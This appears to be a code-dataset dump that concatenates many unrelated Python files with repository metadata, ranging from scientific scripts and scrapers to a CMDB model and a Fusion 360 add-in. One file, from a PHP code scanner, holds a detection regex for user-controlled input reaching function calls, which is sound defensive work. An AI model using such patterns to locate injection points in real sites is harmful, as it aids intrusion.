] | null | null | null | random/main.py | alexander-schilling/fintual_test | 3a8a3cd17dea4a7a1203eb1cd58a2af411700207 | [
"MIT"
] | null | null | null |
main()
| 14.727273 | 39 | 0.697531 | from classes.portfolio import Portfolio
from classes.menu import Menu
def main():
portfolio = Portfolio()
menu = Menu(portfolio)
menu.run()
main()
| 0 | 0 | 0 | 0 | 0 | 61 | 0 | 26 | 67 |
e73dabd3fa271e007962498bfd2e13f26651cc6f | 1,184 | py | Python | scripts/dblp/wordcases.py | sandeepsoni/semantic-progressiveness | 824079b388d0eebc92b2197805b27ed320353f8f | [
"MIT"
] | 2 | 2021-04-11T16:28:44.000Z | 2021-07-31T03:22:07.000Z | scripts/dblp/wordcases.py | sandeepsoni/semantic-progressiveness | 824079b388d0eebc92b2197805b27ed320353f8f | [
"MIT"
] | null | null | null | scripts/dblp/wordcases.py | sandeepsoni/semantic-progressiveness | 824079b388d0eebc92b2197805b27ed320353f8f | [
"MIT"
] | 1 | 2021-09-01T22:45:25.000Z | 2021-09-01T22:45:25.000Z | import plac
import logging
logging.basicConfig (format="%(asctime)s : %(levelname)s : %(message)s", level=logging.INFO)
if __name__ == "__main__":
plac.call (main)
| 30.358974 | 104 | 0.654561 | import plac
import os
from collections import defaultdict
import logging
logging.basicConfig (format="%(asctime)s : %(levelname)s : %(message)s", level=logging.INFO)
@plac.annotations(
dirname = ("path of the directory", "positional"),
srcfile = ("source filename", "positional"),
tgtfile = ("target filename", "pos... | 0 | 948 | 0 | 0 | 0 | 0 | 0 | 2 | 67 |
9984656faf22657ca1d0eb854e78379b3f16d39e | 514 | py | Python | example80.py | augustone/100examples | 94b593b5690a7403e1bf7424047f9a67822d2fd7 | [
"Unlicense"
] | 21 | 2017-05-01T10:23:42.000Z | 2021-09-27T17:11:43.000Z | example80.py | augustone/100examples | 94b593b5690a7403e1bf7424047f9a67822d2fd7 | [
"Unlicense"
] | null | null | null | example80.py | augustone/100examples | 94b593b5690a7403e1bf7424047f9a67822d2fd7 | [
"Unlicense"
] | 6 | 2017-05-26T12:23:26.000Z | 2020-06-30T01:57:36.000Z | #!/usr/bin/python3
__author__ = "yang.dd"
"""
example 080
"""
if __name__ == '__main__':
'''
1
'''
monkey = 5
peach5th = 1
peach = 1
while monkey > 1:
total = peach * 5 + 1
if total % 4 == 0:
monkey -= 1
peach = total / 4
e... | 17.133333 | 49 | 0.451362 | #!/usr/bin/python3
__author__ = "yang.dd"
"""
example 080
"""
if __name__ == '__main__':
'''
从第五只猴子拿1个的桃子开始算
如果有一只不满足条件，则从头开始计算，直到满足
'''
monkey = 5
peach5th = 1
peach = 1
while monkey > 1:
total = peach * 5 + 1
if total % 4 == 0:
monkey -= 1
... | 165 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
d3cf679068c141105ec4bb19427693ae79759075 | 3,129 | py | Python | s0ngbrew/codec.py | RhythmLunatic/s0ngbrew | a23c96971a1a447bf90f15851e35d1a1ed54b7fb | [
"0BSD"
] | 1 | 2021-04-09T23:43:08.000Z | 2021-04-09T23:43:08.000Z | s0ngbrew/codec.py | RhythmLunatic/s0ngbrew | a23c96971a1a447bf90f15851e35d1a1ed54b7fb | [
"0BSD"
] | null | null | null | s0ngbrew/codec.py | RhythmLunatic/s0ngbrew | a23c96971a1a447bf90f15851e35d1a1ed54b7fb | [
"0BSD"
] | 1 | 2019-12-15T15:18:05.000Z | 2019-12-15T15:18:05.000Z | #!/usr/bin/env python3
| 27.447368 | 126 | 0.652605 | #!/usr/bin/env python3
import os
import zlib
from struct import pack, unpack
class FileCountError(Exception):
pass
class ChecksumError(Exception):
pass
class Codec(object):
"""\
Main codec for DRP.
"""
def __init__(self, ifname='', ofname='', is_bin=True):
self.ifname = ifname
#Currently automatic ofna... | 0 | 0 | 0 | 2,979 | 0 | 0 | 0 | -12 | 136 |
e5bb9891de1f56d0ec84f6d31b0fb41b00aa32ff | 142 | py | Python | 03 - Strings/Capitalize!.py | LynX-gh/HackerRank-python | 52705f423dd564463c67de1b8a2ded49bbef565e | [
"MIT"
] | null | null | null | 03 - Strings/Capitalize!.py | LynX-gh/HackerRank-python | 52705f423dd564463c67de1b8a2ded49bbef565e | [
"MIT"
] | null | null | null | 03 - Strings/Capitalize!.py | LynX-gh/HackerRank-python | 52705f423dd564463c67de1b8a2ded49bbef565e | [
"MIT"
] | null | null | null | # Complete the solve function below. | 28.4 | 50 | 0.626761 | # Complete the solve function below.
def solve(s):
names = s.split(' ')
name = ' '.join(t.capitalize() for t in names)
return name | 0 | 0 | 0 | 0 | 0 | 84 | 0 | 0 | 22 |
13245723e2dda68ad0f4118a95b1a23aac9dde6a | 25,424 | py | Python | tests/tools/cpp/find_warnings.py | susundberg/arduino-aquarium-feeder | 3f243b35e8e27eb4fb551d19fae0b45175a4e23c | [
"MIT"
] | 2 | 2017-11-04T00:09:39.000Z | 2020-04-12T08:28:25.000Z | tests/tools/cpp/find_warnings.py | susundberg/esp8266-waterpump | f78a364c4dfec4ebd8fd2a744a190b5e57941479 | [
"MIT"
] | 1 | 2020-05-27T10:26:57.000Z | 2020-05-27T10:26:57.000Z | tests/tools/cpp/find_warnings.py | susundberg/esp8266-waterpump | f78a364c4dfec4ebd8fd2a744a190b5e57941479 | [
"MIT"
] | null | null | null | # Copyright 2007 Neal Norwitz
# Portions Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ... | 42.373333 | 79 | 0.55542 | # Copyright 2007 Neal Norwitz
# Portions Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ... | 0 | 0 | 0 | 22,788 | 0 | 771 | 0 | -23 | 338 |
2266f8b954a983ed3c58cd87ec4a30bca2c1d340 | 1,750 | py | Python | sims/s296/mkreconflux.py | ammarhakim/ammar-simjournal | 85b64ddc9556f01a4fab37977864a7d878eac637 | [
"MIT",
"Unlicense"
] | 1 | 2019-12-19T16:21:13.000Z | 2019-12-19T16:21:13.000Z | sims/s296/mkreconflux.py | ammarhakim/ammar-simjournal | 85b64ddc9556f01a4fab37977864a7d878eac637 | [
"MIT",
"Unlicense"
] | null | null | null | sims/s296/mkreconflux.py | ammarhakim/ammar-simjournal | 85b64ddc9556f01a4fab37977864a7d878eac637 | [
"MIT",
"Unlicense"
] | 2 | 2020-01-08T06:23:33.000Z | 2020-01-08T07:06:50.000Z | import tables
rc('text', usetex=True)
Lx = 100.0
Ly = 50.0
B0 = 1/15.0
n0 = 1.0
mu0 = 1.0
elcCharge = -1.0
ionCharge = 1.0
ionMass = 1.0
elcMass = ionMass/25
elcMass = ionMass/25
ionCycl = ionCharge*B0/ionMass
start = 0
end = 100
nFrame = end-start+1
tm = zeros((nFrame,), float)
flx = zeros((nFrame,), float)
count... | 20.348837 | 58 | 0.562857 | import numpy
from pylab import *
import tables
rc('text', usetex=True)
Lx = 100.0
Ly = 50.0
B0 = 1/15.0
n0 = 1.0
mu0 = 1.0
elcCharge = -1.0
ionCharge = 1.0
ionMass = 1.0
elcMass = ionMass/25
elcMass = ionMass/25
ionCycl = ionCharge*B0/ionMass
start = 0
end = 100
nFrame = end-start+1
tm = zeros((nFrame,), float)
flx... | 0 | 0 | 0 | 0 | 0 | 482 | 0 | -11 | 90 |
e8d016a809ef62359bb058fb37178516edf1ec1c | 4,798 | py | Python | main.py | NairVish/rat-gene-annotation | e9b9f0668b38730cb47c302a30d257f3854e7f6a | [
"MIT"
] | null | null | null | main.py | NairVish/rat-gene-annotation | e9b9f0668b38730cb47c302a30d257f3854e7f6a | [
"MIT"
] | null | null | null | main.py | NairVish/rat-gene-annotation | e9b9f0668b38730cb47c302a30d257f3854e7f6a | [
"MIT"
] | null | null | null | import csv
import argparse
from sys import exit
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--input', action='store', type=str, required=True)
parser.add_argument('-o', '--output', action='store', type=str, required=True)
parser.add_argument('-k', '--api... | 35.540741 | 160 | 0.647561 | import csv
import time
import requests
import argparse
from sys import exit
from typing import List, Optional, Tuple, Any
from bs4 import BeautifulSoup
def get_ensembl_data(transcript_id: str) -> Tuple[Optional[str], Optional[str], Optional[str], Optional[str]]:
gene_name, gene_desc, gene_type, strand = None, Non... | 0 | 0 | 0 | 0 | 0 | 2,709 | 0 | 16 | 157 |
a053594c48b4b655f20976e125386814a1da178f | 1,944 | py | Python | tests/test_cell.py | billwright/GridPuzzles | 9660880748c656d1a9ac6205eff8cfd22555e069 | [
"MIT"
] | 1 | 2021-01-14T00:29:52.000Z | 2021-01-14T00:29:52.000Z | tests/test_cell.py | billwright/GridPuzzles | 9660880748c656d1a9ac6205eff8cfd22555e069 | [
"MIT"
] | null | null | null | tests/test_cell.py | billwright/GridPuzzles | 9660880748c656d1a9ac6205eff8cfd22555e069 | [
"MIT"
] | null | null | null | import unittest
if __name__ == '__main__':
unittest.main()
| 32.4 | 82 | 0.633745 | import unittest
from Cell import Cell
from Blanking_Cell_Exception import Blanking_Cell_Exception
class TestCell(unittest.TestCase):
def test_cell_creation(self):
cell = Cell('A1', '1234')
self.assertIsNotNone(cell)
self.assertEqual('A1', cell.address)
self.assertEqual('1234', ce... | 0 | 0 | 0 | 1,772 | 0 | 0 | 0 | 38 | 67 |
ebaf6c62d58d48f5c9b9b30a6c3488240ae105a8 | 7,090 | py | Python | machine_learning/ml_ch4.py | ivanlevsky/cowabunga-potato | ab317582b7b8f99d7be3ea4f5edbe9829fc398fb | [
"MIT"
] | null | null | null | machine_learning/ml_ch4.py | ivanlevsky/cowabunga-potato | ab317582b7b8f99d7be3ea4f5edbe9829fc398fb | [
"MIT"
] | null | null | null | machine_learning/ml_ch4.py | ivanlevsky/cowabunga-potato | ab317582b7b8f99d7be3ea4f5edbe9829fc398fb | [
"MIT"
] | null | null | null | import numpy as np
import matplotlib.pyplot as plt
from sklearn.linear_model import Ridge
# ---------------------------The Normal Equation---------------------
# X = 2 * np.random.rand(100, 1)
# y = 4 + 3 * X + np.random.randn(100, 1)
#
# X_b = np.c_[np.ones((100, 1)), X] # add x0 = 1 to each instance
# theta_best = ... | 37.315789 | 95 | 0.591255 | import numpy as np
import matplotlib.pyplot as plt
from sklearn.linear_model import LinearRegression, Ridge
from sklearn.metrics import mean_squared_error
from sklearn.model_selection import train_test_split
from sklearn.pipeline import Pipeline
from sklearn.preprocessing import PolynomialFeatures, StandardScaler
# --... | 0 | 0 | 0 | 0 | 0 | 776 | 0 | 137 | 111 |
922c6d09b01b7f8d5feb3572846faf5f1552685f | 577 | py | Python | vendor/haproxy-1.9.1/tests/test-sockpair.py | junsulee/c-goof | 240c979dd014ed3bb9c8dddf5d0e66afb6a8c2f2 | [
"Apache-2.0"
] | 2 | 2021-11-25T13:42:35.000Z | 2022-02-05T07:58:14.000Z | vendor/haproxy-1.9.1/tests/test-sockpair.py | junsulee/c-goof | 240c979dd014ed3bb9c8dddf5d0e66afb6a8c2f2 | [
"Apache-2.0"
] | null | null | null | vendor/haproxy-1.9.1/tests/test-sockpair.py | junsulee/c-goof | 240c979dd014ed3bb9c8dddf5d0e66afb6a8c2f2 | [
"Apache-2.0"
] | 15 | 2021-11-24T15:40:54.000Z | 2022-03-02T09:17:03.000Z | #!/usr/bin/python
"""
Python wrapper example to test socketpair protocol
./test-socketpair.py test.cfg
use sockpair@${FD1} and sockpair@${FD2} in your configuration file
"""
import socket, os, sys
s = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)
os.set_inheritable(s[0].fileno(), 1)
os.set_inheritable(s[1].... | 19.896552 | 66 | 0.651646 | #!/usr/bin/python
"""
Python wrapper example to test socketpair protocol
./test-socketpair.py test.cfg
use sockpair@${FD1} and sockpair@${FD2} in your configuration file
"""
import socket, os, sys
s = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)
os.set_inheritable(s[0].fileno(), 1)
os.set_inheritable(s[1].... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
24f33a3e9b503bf6b6318334720a5eb6ff38c001 | 224 | py | Python | output/models/sun_data/elem_decl/abstract/abstract00101m/abstract00101m_xsd/__init__.py | tefra/xsdata-w3c-tests | b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f | [
"MIT"
] | 1 | 2021-08-14T17:59:21.000Z | 2021-08-14T17:59:21.000Z | output/models/sun_data/elem_decl/abstract/abstract00101m/abstract00101m_xsd/__init__.py | tefra/xsdata-w3c-tests | b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f | [
"MIT"
] | 4 | 2020-02-12T21:30:44.000Z | 2020-04-15T20:06:46.000Z | output/models/sun_data/elem_decl/abstract/abstract00101m/abstract00101m_xsd/__init__.py | tefra/xsdata-w3c-tests | b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f | [
"MIT"
] | null | null | null | from output.models.sun_data.elem_decl.abstract.abstract00101m.abstract00101m_xsd.abstract00101m import (Head, HeadType, Member1, Root)
__all__ = [
"Head",
"HeadType",
"Member1",
"Root",
]
| 16 | 104 | 0.651786 | from output.models.sun_data.elem_decl.abstract.abstract00101m.abstract00101m_xsd.abstract00101m import (
Head,
HeadType,
Member1,
Root,
)
__all__ = [
"Head",
"HeadType",
"Member1",
"Root",
]
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 19 | 0 |
55bc93f1f28a4d3cfdbf2ceae0689c9e65f3b7d4 | 10,760 | py | Python | cmdb/models.py | proffalken/edison | 5bfa941f8876cb8698cd8009c4514bc03d24c109 | [
"BSD-3-Clause"
] | 3 | 2015-11-05T07:29:00.000Z | 2021-06-17T23:44:17.000Z | cmdb/models.py | proffalken/edison | 5bfa941f8876cb8698cd8009c4514bc03d24c109 | [
"BSD-3-Clause"
] | 1 | 2016-05-04T10:54:48.000Z | 2016-05-04T10:54:56.000Z | cmdb/models.py | proffalken/edison | 5bfa941f8876cb8698cd8009c4514bc03d24c109 | [
"BSD-3-Clause"
] | null | null | null | # This file is part of the Edison Project.
# Please refer to the LICENSE document that was supplied with this software for information on how it can be used.
# These are the models required for the basic CMDB
# First, Define our list of countries
# Now define the counties/States that we can use
# Where do ... | 34.15873 | 205 | 0.683922 | # This file is part of the Edison Project.
# Please refer to the LICENSE document that was supplied with this software for information on how it can be used.
from django.db import models
from django.contrib.auth.models import User
# These are the models required for the basic CMDB
# First, Define our list of countrie... | 0 | 0 | 0 | 9,251 | 0 | 0 | 0 | 29 | 513 |
2f2714142396728fd927af9cf97aff6dece18541 | 1,318 | py | Python | brightermonday.py | Simonwafula/Kenyan-Jobsites-Scraper | 05589adc2a2253e4bd61de2338ce7c3061afd697 | [
"Apache-2.0"
] | null | null | null | brightermonday.py | Simonwafula/Kenyan-Jobsites-Scraper | 05589adc2a2253e4bd61de2338ce7c3061afd697 | [
"Apache-2.0"
] | null | null | null | brightermonday.py | Simonwafula/Kenyan-Jobsites-Scraper | 05589adc2a2253e4bd61de2338ce7c3061afd697 | [
"Apache-2.0"
] | null | null | null | from bs4 import BeautifulSoup
import requests
import sqlite3
conn = sqlite3.connect("output.db")
cur = conn.cursor()
headers = {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Methods': 'GET',
'Access-Control-Allow-Headers': 'Content-Type',
'Access-Control-Max-Age': '3600',
'User-Agent'... | 32.146341 | 96 | 0.657056 | from bs4 import BeautifulSoup
import requests
import sqlite3
conn = sqlite3.connect("output.db")
cur = conn.cursor()
headers = {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Methods': 'GET',
'Access-Control-Allow-Headers': 'Content-Type',
'Access-Control-Max-Age': '3600',
'User-Agent'... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
70cfb9a2c6a526447cb9611d46444aadca43a0be | 1,791 | py | Python | MyWord2Vec.py | hakimkt/SAIVS | c310bd7c9426f0d21efeea8866cf6b881b7e8530 | [
"Apache-2.0"
] | 40 | 2018-10-29T02:29:13.000Z | 2021-11-23T13:14:50.000Z | MyWord2Vec.py | 5l1v3r1/SAIVS | aa62451665b6398ba329d68592bf4313be60a886 | [
"Apache-2.0"
] | 1 | 2021-02-23T12:27:28.000Z | 2021-02-23T12:27:28.000Z | MyWord2Vec.py | 5l1v3r1/SAIVS | aa62451665b6398ba329d68592bf4313be60a886 | [
"Apache-2.0"
] | 29 | 2018-10-29T02:29:17.000Z | 2022-03-17T06:31:35.000Z | # -*- coding: utf-8 -*-
MODEL_NAME = 'text8'
DATA_PATH = 'data\\text8'
| 37.3125 | 114 | 0.537688 | # -*- coding: utf-8 -*-
from gensim.models import word2vec
import os
import logging
MODEL_NAME = 'text8'
DATA_PATH = 'data\\text8'
class Word2Vec:
def __init__(self, int_count=10):
self.int_word_count = int_count
def learn_sentense(self):
if os.path.exists(MODEL_NAME):
... | 12 | 0 | 0 | 1,623 | 0 | 0 | 0 | -6 | 93 |
131c6ed9e704d68d36f814ce2b61e216c5b751dd | 4,159 | py | Python | siftOnePixel.py | hakimhassani97/SIFT | b105a0eeb04f7dacd97e96a493bb01e859937098 | [
"MIT"
] | 1 | 2021-05-06T15:33:11.000Z | 2021-05-06T15:33:11.000Z | siftOnePixel.py | hakimhassani97/SIFT | b105a0eeb04f7dacd97e96a493bb01e859937098 | [
"MIT"
] | null | null | null | siftOnePixel.py | hakimhassani97/SIFT | b105a0eeb04f7dacd97e96a493bb01e859937098 | [
"MIT"
] | null | null | null | import cv2 as cv2
import numpy as np
from collections import Counter
#test images
# s='add.png'
s='lenna.jpg'
s='ttt.jpg'
#pixel used for SIFT
pixelX=200
pixelY=200
#functions
#main
img=cv2.imread(s)
h,w,d = np.shape(img)
#convolution matrix
c=1
convX=np.zeros((3,3),np.double)
convX[0,0]=0;... | 28.486301 | 104 | 0.576821 | import cv2 as cv2
import numpy as np
from collections import Counter
import math
import matplotlib.pyplot as plt
#test images
# s='add.png'
s='lenna.jpg'
s='ttt.jpg'
#pixel used for SIFT
pixelX=200
pixelY=200
#functions
def drawContours(img,contours,color):
contours=np.array(contours)
for i... | 14 | 0 | 0 | 0 | 0 | 2,797 | 0 | 0 | 294 |
d9a445fd552ca2fc90e819d34d3f6859d94151a1 | 895 | py | Python | carbon/setup.py | katzj/graphite | e33bf5e035360880c4172a3c2ecb355485d7b172 | [
"Apache-2.0"
] | 1 | 2016-07-25T09:45:31.000Z | 2016-07-25T09:45:31.000Z | carbon/setup.py | katzj/graphite | e33bf5e035360880c4172a3c2ecb355485d7b172 | [
"Apache-2.0"
] | null | null | null | carbon/setup.py | katzj/graphite | e33bf5e035360880c4172a3c2ecb355485d7b172 | [
"Apache-2.0"
] | 2 | 2018-03-19T17:49:03.000Z | 2018-12-04T02:14:09.000Z | #!/usr/bin/env python
import os
from glob import glob
if os.environ.get('USE_SETUPTOOLS'):
from setuptools import setup
setup_kwargs = dict(zip_safe=0)
else:
from distutils.core import setup
setup_kwargs = dict()
storage_dirs = [ ('storage/whisper',[]), ('storage/lists',[]),
('storage/log'... | 25.571429 | 73 | 0.661453 | #!/usr/bin/env python
import os
from glob import glob
if os.environ.get('USE_SETUPTOOLS'):
from setuptools import setup
setup_kwargs = dict(zip_safe=0)
else:
from distutils.core import setup
setup_kwargs = dict()
storage_dirs = [ ('storage/whisper',[]), ('storage/lists',[]),
('storage/log'... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
faf10b239be49828238fcb5f71856d89bfc15fda | 3,376 | py | Python | Scripts/netCDF_splitter2var_2D.py | wolfiex/AC_tools | de5b156ddcc01437bf80b4785d6a327b35d67cc6 | [
"Unlicense"
] | 7 | 2016-10-20T14:55:07.000Z | 2022-03-28T15:35:52.000Z | Scripts/netCDF_splitter2var_2D.py | wolfiex/AC_tools | de5b156ddcc01437bf80b4785d6a327b35d67cc6 | [
"Unlicense"
] | 44 | 2016-09-23T14:02:51.000Z | 2022-03-24T09:53:50.000Z | Scripts/netCDF_splitter2var_2D.py | wolfiex/AC_tools | de5b156ddcc01437bf80b4785d6a327b35d67cc6 | [
"Unlicense"
] | 9 | 2016-10-24T15:33:51.000Z | 2021-08-06T17:52:49.000Z | #!/usr/bin/python
# -*- coding: utf-8 -*-
"""
Split off 2D variable from file with other variables
Notes
----
- based on software carpentary example.
http://damienirving.github.io/capstone-oceanography/03-data-provenance.html
"""
# Modules to import
from netCDF4 import Dataset
# add extra's for copied function...
... | 25.19403 | 75 | 0.635367 | #!/usr/bin/python
# -*- coding: utf-8 -*-
"""
Split off 2D variable from file with other variables
Notes
----
- based on software carpentary example.
http://damienirving.github.io/capstone-oceanography/03-data-provenance.html
"""
# Modules to import
from netCDF4 import Dataset
import numpy as np
import pylab as pl
... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | -47 | 154 |
b66307882f2392b2f67c3b822cca4c439efe95c5 | 30,127 | py | Python | Ball Handle/base.py | maxbot5/Ball-Handle-Software | fe1b04c3f252a9e6848c2e79601f5633473abb28 | [
"MIT"
] | null | null | null | Ball Handle/base.py | maxbot5/Ball-Handle-Software | fe1b04c3f252a9e6848c2e79601f5633473abb28 | [
"MIT"
] | null | null | null | Ball Handle/base.py | maxbot5/Ball-Handle-Software | fe1b04c3f252a9e6848c2e79601f5633473abb28 | [
"MIT"
] | null | null | null | <<<<<<< HEAD
import time
import numpy as np
import Adafruit_BBIO.PWM as PWM
from PixyCam import PixyCam
from imu import Imu
from servo import Servo
from wheel import Wheel
from classes import State
import constants as cons
import threading
#import logging
import sys
from queue import LifoQueue
count =0
ball_status_new... | 44.898659 | 184 | 0.61181 | <<<<<<< HEAD
import time
import numpy as np
import Adafruit_BBIO.PWM as PWM
from PixyCam import PixyCam
from imu import Imu
from servo import Servo
from wheel import Wheel
from classes import State
import constants as cons
import threading
#import logging
import sys
from queue import LifoQueue
count =0
ball_status_new... | 28 | 0 | 0 | 27,065 | 0 | 0 | 0 | 0 | 184 |
060da80f798be7d2874ba9bc7f1c914bddfe0970 | 17,566 | py | Python | nailgun/nailgun/network/neutron.py | dnikishov/fuel-web | 152c2072cf585fc61d7e157ccf9a7ea1d0377daa | [
"Apache-2.0"
] | null | null | null | nailgun/nailgun/network/neutron.py | dnikishov/fuel-web | 152c2072cf585fc61d7e157ccf9a7ea1d0377daa | [
"Apache-2.0"
] | null | null | null | nailgun/nailgun/network/neutron.py | dnikishov/fuel-web | 152c2072cf585fc61d7e157ccf9a7ea1d0377daa | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright 2013 Mirantis, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requi... | 37.137421 | 79 | 0.5986 | # -*- coding: utf-8 -*-
# Copyright 2013 Mirantis, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requi... | 0 | 15,583 | 0 | 227 | 0 | 0 | 0 | 289 | 828 |
a96304dec6862bdf083752a9af5442f5bd3ef565 | 1,957 | py | Python | tests/encryption_test.py | faradaywallet/faradayapp | db9392aea48946979b974d64db3e856b43bc287f | [
"MIT"
] | null | null | null | tests/encryption_test.py | faradaywallet/faradayapp | db9392aea48946979b974d64db3e856b43bc287f | [
"MIT"
] | null | null | null | tests/encryption_test.py | faradaywallet/faradayapp | db9392aea48946979b974d64db3e856b43bc287f | [
"MIT"
] | null | null | null | from encrypt import Encrypt
Encrypt = Encrypt()
if __name__ == '__main__':
payload_encryption_test()
| 32.616667 | 112 | 0.722024 | from encrypt import Encrypt
import json
Encrypt = Encrypt()
def payload_encryption_test():
password = b'testpwd'
payload = {'ccnum': '1111222233334444', 'expdate': '09/13/2018', 'cvc': '123', 'notes': 'adding user notes'}
salt = Encrypt.generate_salt()
print('ENCRYPT\TEST: salt: ', salt)
sym_key... | 0 | 0 | 0 | 0 | 0 | 1,791 | 0 | -10 | 68 |
1a0af461995c8249b4ab9f68a503e712e5f4c6f2 | 1,598 | py | Python | SpiralSpline/SpiralSpline.py | sterlingcrispin/Fusion360API | 5ef8d2ac9fce5476f8c7501aa213c16f54fd481a | [
"Unlicense"
] | 12 | 2017-08-29T12:41:08.000Z | 2022-03-18T13:19:59.000Z | SpiralSpline/SpiralSpline.py | sterlingcrispin/Fusion360API | 5ef8d2ac9fce5476f8c7501aa213c16f54fd481a | [
"Unlicense"
] | null | null | null | SpiralSpline/SpiralSpline.py | sterlingcrispin/Fusion360API | 5ef8d2ac9fce5476f8c7501aa213c16f54fd481a | [
"Unlicense"
] | 5 | 2019-04-10T09:22:28.000Z | 2022-02-15T12:54:39.000Z | #Author-Sterling Crispin
#Description-directly adapted from http://help.autodesk.com/view/fusion360/ENU/?guid=GUID-c3d4a306-fade-11e4-8e56-3417ebd3d5be
import adsk.core | 35.511111 | 126 | 0.59637 | #Author-Sterling Crispin
#Description-directly adapted from http://help.autodesk.com/view/fusion360/ENU/?guid=GUID-c3d4a306-fade-11e4-8e56-3417ebd3d5be
import adsk.core, adsk.fusion, traceback
import math
def run(context):
ui = None
try:
app = adsk.core.Application.get()
ui = app.userInterfa... | 0 | 0 | 0 | 0 | 0 | 1,369 | 0 | 14 | 45 |
8b7d537952b1acd31cd5604bc842bcbe32faaea9 | 1,240 | py | Python | Misc_TestCode/problem_set_1-3.py | osamadel/Python | 6c7e26a96d4b8f875755de98f16eba89e81d94d2 | [
"MIT"
] | null | null | null | Misc_TestCode/problem_set_1-3.py | osamadel/Python | 6c7e26a96d4b8f875755de98f16eba89e81d94d2 | [
"MIT"
] | null | null | null | Misc_TestCode/problem_set_1-3.py | osamadel/Python | 6c7e26a96d4b8f875755de98f16eba89e81d94d2 | [
"MIT"
] | null | null | null | """
Description :
A program to calculate the credit card balance after one year if a person only pays the minimum monthly payment
required by the credit card company each month.
balance - the outstanding balance on the credit card
annualInterestRate - annual interest rate as a decimal
monthlyPaymentRate - minimum mont... | 32.631579 | 111 | 0.756452 | """
Description :
A program to calculate the credit card balance after one year if a person only pays the minimum monthly payment
required by the credit card company each month.
balance - the outstanding balance on the credit card
annualInterestRate - annual interest rate as a decimal
monthlyPaymentRate - minimum mont... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
0b23c79247e242a9c10909666bbd15979acc980b | 7,058 | py | Python | indicators.py | fwd1990man/PHPCodeScanner | d3601820da465513944ff20650558b862f9ccde1 | [
"MIT"
] | 2 | 2021-05-19T00:09:22.000Z | 2021-05-19T00:09:24.000Z | indicators.py | fwd1990man/PHPCodeScanner | d3601820da465513944ff20650558b862f9ccde1 | [
"MIT"
] | null | null | null | indicators.py | fwd1990man/PHPCodeScanner | d3601820da465513944ff20650558b862f9ccde1 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
# /!\ Detection Format (.*)function($vuln)(.*) matched by payload[0]+regex_indicators
regex_indicators = '\\((.*?)(\\$_GET\\[.*?\\]|\\$_FILES\\[.*?\\]|\\$_POST\\[.*?\\]|\\$_REQUEST\\[.*?\\]|\\$_COOKIES\\[.*?\\]|\\$_SESSION\\[.*?\\]|\\$(?!this|e-)[a-zA-Z0-9_,]*)(.*?)\\)'
# Fun... | 48.342466 | 184 | 0.638424 | #!/usr/bin/python
# -*- coding: utf-8 -*-
# /!\ Detection Format (.*)function($vuln)(.*) matched by payload[0]+regex_indicators
regex_indicators = '\\((.*?)(\\$_GET\\[.*?\\]|\\$_FILES\\[.*?\\]|\\$_POST\\[.*?\\]|\\$_REQUEST\\[.*?\\]|\\$_COOKIES\\[.*?\\]|\\$_SESSION\\[.*?\\]|\\$(?!this|e-)[a-zA-Z0-9_,]*)(.*?)\\)'
# Fun... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
76131c72b8636284a0712af7817874865d24b1ea | 3,734 | py | Python | src/polyswarm/client/engine.py | polyswarm/polyswarm-cli | f783b77180a7436bc993171b46691a223f175260 | [
"MIT"
] | 2 | 2021-04-14T01:42:48.000Z | 2022-03-12T16:20:23.000Z | src/polyswarm/client/engine.py | polyswarm/polyswarm-cli | f783b77180a7436bc993171b46691a223f175260 | [
"MIT"
] | 11 | 2019-10-22T23:23:27.000Z | 2021-06-07T21:40:10.000Z | src/polyswarm/client/engine.py | polyswarm/polyswarm-cli | f783b77180a7436bc993171b46691a223f175260 | [
"MIT"
] | 1 | 2021-04-26T10:58:01.000Z | 2021-04-26T10:58:01.000Z | from __future__ import absolute_import
import logging
logger = logging.getLogger(__name__)
| 29.171875 | 102 | 0.71023 | from __future__ import absolute_import
import logging
import click
logger = logging.getLogger(__name__)
@click.group(short_help="Interact with engines.")
def engine():
pass
@engine.group(short_help="Interact with engine's votes.")
def votes():
pass
@engine.group(short_help="Interact with engine's assert... | 0 | 3,364 | 0 | 0 | 0 | 0 | 0 | -9 | 276 |
540ebc7352e4bff5af37415803694be42d874d61 | 8,339 | py | Python | rapp_testing_tools/src/rapp_testing_tools/rapp_testing_core.py | DEVX1/NAOrapp-Pythonlib | d07d7fe304556cad24e7e138df4e41376eacb6a7 | [
"Apache-2.0"
] | null | null | null | rapp_testing_tools/src/rapp_testing_tools/rapp_testing_core.py | DEVX1/NAOrapp-Pythonlib | d07d7fe304556cad24e7e138df4e41376eacb6a7 | [
"Apache-2.0"
